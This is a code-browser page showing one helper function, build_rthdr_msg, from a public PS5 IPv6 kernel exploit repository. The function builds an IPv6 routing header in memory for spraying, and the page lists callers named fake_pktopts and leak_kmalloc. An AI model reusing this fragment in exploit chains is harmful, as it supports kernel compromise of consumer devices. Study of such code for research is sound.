MCPcopy Create free account
hub / github.com/Cryptogenic/PS5-IPV6-Kernel-Exploit / build_rthdr_msg

Function build_rthdr_msg

document/en/ps5/exploit.js:324–338  ·  view source on GitHub ↗
(buf, size)

Source from the content-addressed store, hash-verified

322
323 // Helper functions
324 function build_rthdr_msg(buf, size) {
325 let rthdr_len = ((size / 0x8) - 1) & ~1;
326 let rthdr_size = (rthdr_len + 1) * 0x8;
327
328 for (let i = 0; i < size / 0x4; i++) {
329 p.write4(buf.add32(i * 0x4), 0);
330 }
331
332 p.write1(buf.add32(0x00), 0); // ip6r_nxt
333 p.write1(buf.add32(0x01), rthdr_len); // ip6r_len
334 p.write1(buf.add32(0x02), 0); // ip6r_type
335 p.write1(buf.add32(0x03), rthdr_len / 2); // ip6r_segleft
336
337 return rthdr_size;
338 }
339
340 function build_addr(buf, family, port, addr) {
341 p.write1(buf.add32(0x00), 0x10);

Callers 2

fake_pktoptsFunction · 0.85
leak_kmallocFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected